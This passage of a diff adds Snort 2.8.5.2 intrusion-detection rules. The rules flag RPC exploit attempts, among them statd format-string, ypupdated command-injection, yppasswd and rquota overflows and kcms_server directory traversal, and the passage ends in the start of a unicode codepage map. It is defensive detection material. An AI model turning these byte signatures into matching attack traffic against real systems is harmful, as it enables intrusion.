+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC STATD TCP monitor mon_name format string exploit attempt"; flow:to_server,established; content:"|00 01 86 B8|"; depth:4; offset:16; content:"|00 00 00 02|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,100,0,relative; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,1480; reference:cve,2000-0666; classtype:attempted-admin; sid:1916; rev:9;)
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap ypupdated request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 BC|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,125; classtype:rpc-portmap-decode; sid:1277; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap ypupdated request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 BC|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,125; classtype:rpc-portmap-decode; sid:591; rev:10;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC ypupdated arbitrary command attempt UDP"; content:"|00 01 86 BC|"; depth:4; offset:12; content:"|00 00 00 01|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|7C|"; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; classtype:misc-attack; sid:2088; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC ypupdated arbitrary command attempt TCP"; flow:to_server,established; content:"|00 01 86 BC|"; depth:4; offset:16; content:"|00 00 00 01|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|7C|"; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; classtype:misc-attack; sid:2089; rev:5;)
+
+# NFS
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap NFS request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 A3|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; classtype:rpc-portmap-decode; sid:1959; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap NFS request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 A3|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; classtype:rpc-portmap-decode; sid:1960; rev:7;)
+
+
+# rquota
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap RQUOTA request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 AB|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; classtype:rpc-portmap-decode; sid:1961; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap RQUOTA request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 AB|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; classtype:rpc-portmap-decode; sid:1962; rev:7;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC RQUOTA getquota overflow attempt UDP"; content:"|00 01 86 AB|"; depth:4; offset:12; content:"|00 00 00 01|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,128,0,relative; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,864; reference:cve,1999-0974; classtype:misc-attack; sid:1963; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC RQUOTA getquota overflow attempt TCP"; flow:to_server,established; content:"|00 01 86 AB|"; depth:4; offset:16; content:"|00 00 00 01|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,128,0,relative; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,864; reference:cve,1999-0974; classtype:misc-attack; sid:2024; rev:8;)
+
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap ttdbserv request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 F3|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,24; reference:bugtraq,122; reference:bugtraq,3382; reference:cve,1999-0003; reference:cve,1999-0687; reference:cve,1999-1075; reference:cve,2001-0717; reference:url,www.cert.org/advisories/CA-2001-05.html; classtype:rpc-portmap-decode; sid:588; rev:17;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap ttdbserv request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 F3|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,24; reference:bugtraq,122; reference:bugtraq,3382; reference:cve,1999-0003; reference:cve,1999-0687; reference:cve,1999-1075; reference:cve,2001-0717; reference:url,www.cert.org/advisories/CA-2001-05.html; classtype:rpc-portmap-decode; sid:1274; rev:17;)
+
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC tooltalk UDP overflow attempt"; content:"|00 01 86 F3|"; depth:4; offset:12; content:"|00 00 00 07|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,128,0,relative; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,122; reference:cve,1999-0003; classtype:misc-attack; sid:1964; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC tooltalk TCP overflow attempt"; flow:to_server,established; content:"|00 01 86 F3|"; depth:4; offset:16; content:"|00 00 00 07|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,128,0,relative; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,122; reference:cve,1999-0003; classtype:misc-attack; sid:1965; rev:8;)
+
+# not sure what this rule is looking for, other than the procedure 15
+# alert tcp $EXTERNAL_NET any -> $HOME_NET 32771:34000 (msg:"RPC DOS ttdbserv Solaris"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; offset:8; content:"|00 01 86 F3 00 00 00 01 00 00 00 0F 00 00 00 01|"; depth:32; offset:16; reference:arachnids,241; reference:bugtraq,122; reference:cve,1999-0003; classtype:attempted-dos; sid:572; rev:9;)
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap yppasswd request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 A9|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,14; classtype:rpc-portmap-decode; sid:589; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap yppasswd request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 A9|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,14; classtype:rpc-portmap-decode; sid:1275; rev:10;)
+
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC yppasswd old password overflow attempt UDP"; content:"|00 01 86 A9|"; depth:4; offset:12; content:"|00 00 00 01|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,64,0,relative; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,2763; reference:cve,2001-0779; classtype:rpc-portmap-decode; sid:2027; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC yppasswd old password overflow attempt TCP"; flow:to_server,established; content:"|00 01 86 A9|"; depth:4; offset:16; content:"|00 00 00 01|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,64,0,relative; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,2763; reference:cve,2001-0779; classtype:rpc-portmap-decode; sid:2028; rev:6;)
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC yppasswd username overflow attempt UDP"; content:"|00 01 86 A9|"; depth:4; offset:12; content:"|00 00 00 01|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_jump:4,0,relative,align; byte_test:4,>,64,0,relative; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,2763; reference:cve,2001-0779; classtype:rpc-portmap-decode; sid:2025; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC yppasswd username overflow attempt TCP"; flow:to_server,established; content:"|00 01 86 A9|"; depth:4; offset:16; content:"|00 00 00 01|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_jump:4,0,relative,align; byte_test:4,>,64,0,relative; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,2763; reference:cve,2001-0779; classtype:rpc-portmap-decode; sid:2026; rev:9;)
+
+
+
+# XXX - These need re-verified
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC yppasswd new password overflow attempt UDP"; content:"|00 01 86 A9|"; depth:4; offset:12; content:"|00 00 00 01|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_jump:4,0,relative,align; byte_jump:4,0,relative,align; byte_test:4,>,64,0,relative; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,2763; reference:cve,2001-0779; classtype:rpc-portmap-decode; sid:2029; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC yppasswd new password overflow attempt TCP"; flow:to_server,established; content:"|00 01 86 A9|"; depth:4; offset:16; content:"|00 00 00 01|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_jump:4,0,relative,align; byte_jump:4,0,relative,align; byte_test:4,>,64,0,relative; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,2763; reference:cve,2001-0779; classtype:rpc-portmap-decode; sid:2030; rev:7;)
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC yppasswd user update UDP"; content:"|00 01 86 A9|"; depth:4; offset:12; content:"|00 00 00 01|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,2763; reference:cve,2001-0779; classtype:rpc-portmap-decode; sid:2031; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC yppasswd user update TCP"; flow:to_server,established; content:"|00 01 86 A9|"; depth:4; offset:16; content:"|00 00 00 01|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,2763; reference:cve,2001-0779; classtype:rpc-portmap-decode; sid:2032; rev:6;)
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap ypserv request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 A4|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,12; reference:bugtraq,5914; reference:bugtraq,6016; reference:cve,2000-1042; reference:cve,2000-1043; reference:cve,2002-1232; classtype:rpc-portmap-decode; sid:590; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap ypserv request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 A4|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,12; reference:bugtraq,5914; reference:bugtraq,6016; reference:cve,2000-1042; reference:cve,2000-1043; reference:cve,2002-1232; classtype:rpc-portmap-decode; sid:1276; rev:14;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC ypserv maplist request UDP"; content:"|00 01 86 A4|"; depth:4; offset:12; content:"|00 00 00 0B|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,5914; reference:bugtraq,6016; reference:cve,2002-1232; classtype:rpc-portmap-decode; sid:2033; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC ypserv maplist request TCP"; flow:to_server,established; content:"|00 01 86 A4|"; depth:4; offset:16; content:"|00 00 00 0B|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:Cve,CAN-2002-1232; reference:bugtraq,5914; reference:bugtraq,6016; classtype:rpc-portmap-decode; sid:2034; rev:7;)
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap network-status-monitor request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 03 0D|p"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; classtype:rpc-portmap-decode; sid:2035; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap network-status-monitor request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 03 0D|p"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; classtype:rpc-portmap-decode; sid:2036; rev:6;)
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC network-status-monitor mon-callback request UDP"; content:"|00 03 0D|p"; depth:4; offset:12; content:"|00 00 00 01|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; classtype:rpc-portmap-decode; sid:2037; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC network-status-monitor mon-callback request TCP"; flow:to_server,established; content:"|00 03 0D|p"; depth:4; offset:16; content:"|00 00 00 01|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; classtype:rpc-portmap-decode; sid:2038; rev:5;)
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap nlockmgr request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 B5|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,1372; reference:cve,2000-0508; classtype:rpc-portmap-decode; sid:2079; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap nlockmgr request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 B5|"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,1372; reference:cve,2000-0508; classtype:rpc-portmap-decode; sid:2080; rev:6;)
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap rpc.xfsmd request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 05 F7|h"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,5072; reference:bugtraq,5075; reference:cve,2002-0359; classtype:rpc-portmap-decode; sid:2081; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap rpc.xfsmd request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 05 F7|h"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,5072; reference:bugtraq,5075; reference:cve,2002-0359; classtype:rpc-portmap-decode; sid:2082; rev:9;)
+
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC rpc.xfsmd xfs_export attempt UDP"; content:"|00 05 F7|h"; depth:4; offset:12; content:"|00 00 00 0D|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,5072; reference:bugtraq,5075; reference:cve,2002-0359; classtype:rpc-portmap-decode; sid:2083; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC rpc.xfsmd xfs_export attempt TCP"; flow:to_server,established; content:"|00 05 F7|h"; depth:4; offset:16; content:"|00 00 00 0D|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,5072; reference:bugtraq,5075; reference:cve,2002-0359; classtype:rpc-portmap-decode; sid:2084; rev:8;)
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap kcms_server request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 87|}"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,6665; reference:cve,2003-0027; reference:url,www.kb.cert.org/vuls/id/850785; classtype:rpc-portmap-decode; sid:2005; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap kcms_server request TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 87|}"; within:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,6665; reference:cve,2003-0027; reference:url,www.kb.cert.org/vuls/id/850785; classtype:rpc-portmap-decode; sid:2006; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 32771:34000 (msg:"RPC kcms_server directory traversal attempt"; flow:to_server,established; content:"|00 01 87|}"; depth:4; offset:16; byte_jump:4,20,relative,align; byte_jump:4,4,relative,align; content:"/../"; distance:0; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,6665; reference:cve,2003-0027; reference:url,www.kb.cert.org/vuls/id/850785; classtype:misc-attack; sid:2007; rev:10;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC sadmind query with root credentials attempt TCP"; flow:to_server,established; content:"|00 01 87 88|"; depth:4; offset:16; content:"|00 00 00 01 00 00 00 01|"; within:8; distance:4; byte_jump:4,8,relative,align; content:"|00 00 00 00|"; within:4; classtype:misc-attack; sid:2255; rev:3;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC sadmind query with root credentials attempt UDP"; content:"|00 01 87 88|"; depth:4; offset:12; content:"|00 00 00 01 00 00 00 01|"; within:8; distance:4; byte_jump:4,8,relative,align; content:"|00 00 00 00|"; within:4; classtype:misc-attack; sid:2256; rev:3;)
--- snort-2.8.5.2.orig/rules/unicode.map
+++ snort-2.8.5.2/rules/unicode.map
@@ -0,0 +1,104 @@
+# Windows Version: 5.00.2195
+# OEM codepage: 437
+# ACP codepage: 1252
+
+# INSTALLED CODEPAGES
+10000 (MAC - Roman)
+
+
+10079 (MAC - Icelandic)
+
+
+1250  (ANSI - Central Europe)
+00a1:21 00a2:63 00a3:4c 00a5:59 00aa:61 00b2:32 00b3:33 00b9:31 00ba:6f 00bc:31 00bd:31 00be:33 00c0:41 00c3:41 00c5:41 00c6:41 00c8:45 00ca:45 00cc:49 00cf:49 00d1:4e 00d2:4f 00d5:4f 00d8:4f 00d9:55 00db:55 00e0:61 00e3:61 00e5:61 00e6:61 00e8:65 00ea:65 00ec:69 00ef:69 00f1:6e 00f2:6f 00f5:6f 00f8:6f 00f9:75 00fb:75 00ff:79 0100:41 0101:61 0108:43 0109:63 010a:43 010b:63 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 013b:4c 013c:6c 0145:4e 0146:6e 014c:4f 014d:6f 014e:4f 014f:6f 0152:4f 0153:6f 0156:52 0157:72 015c:53 015d:73 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0180:62 0191:46 0192:66 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01c0:7c 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02cb:60 02cd:5f 02dc:7e 0300:60 0302:5e 0303:7e 030e:22 0331:5f 0332:5f 037e:3b 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2032:27 2035:60 203c:21 2044:2f 2074:34 2075:35 2076:36 2077:37 2078:38 2080:30 2081:31 2082:32 2083:33 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:50 2119:50 211a:51 211b:52 211c:52 211d:52 2124:5a 2128:5a 212a:4b 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2191:5e 2194:2d 2195:7c 21a8:7c 2212:2d 2215:2f 2216:5c 2217:2a 221f:4c 2223:7c 2236:3a 223c:7e 2303:5e 2329:3c 232a:3e 2502:2d 250c:2d 2514:4c 2518:2d 251c:2b 2524:2b 252c:54 2534:2b 253c:2b 2550:3d 2554:2d 255a:4c 255d:2d 2566:54 256c:2b 2580:2d 2584:2d 2588:2d 2591:2d 2592:2d 2593:2d 25ac:2d 25b2:5e 25ba:3e 25c4:3c 25cb:30 25d9:30 263c:30 2640:2b 2642:3e 266a:64 266b:64 2758:7c 3000:20 3008:3c 3009:3e 301a:5b 301b:5d ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e 
+
+1251  (ANSI - Cyrillic)
+00c0:41 00c1:41 00c2:41 00c3:41 00c4:41 00c5:41 00c7:43 00c8:45 00c9:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d1:4e 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d6:4f 00d8:4f 00d9:55 00da:55 00db:55 00dc:55 00dd:59 00e0:61 00e1:61 00e2:61 00e3:61 00e4:61 00e5:61 00e7:63 00e8:65 00e9:65 00ea:65 00eb:65 00ec:69 00ed:69 00ee:69 00ef:69 00f1:6e 00f2:6f 00f3:6f 00f4:6f 00f5:6f 00f6:6f 00f8:6f 00f9:75 00fa:75 00fb:75 00fc:75 00fd:79 00ff:79 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 203c:21 2190:3c 2191:5e 2192:3e 2193:76 2194:2d 221a:76 221f:4c 2500:2d 250c:2d 2514:4c 2518:2d 251c:2b 2524:2b 252c:54 2534:2b 253c:2b 2550:3d 2552:2d 2558:4c 2559:4c 255a:4c 255b:2d 255c:2d 255d:2d 2564:54 2565:54 2566:54 256a:2b 256b:2b 256c:2b 2580:2d 2584:2d 2588:2d 2591:2d 2592:2d 2593:2d 25ac:2d 25b2:5e 25ba:3e 25c4:3c 25cb:30 25d9:30 263a:4f 263b:4f 263c:30 2640:2b 2642:3e 266a:64 266b:64 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e 
+
+1252  (ANSI - Latin I)
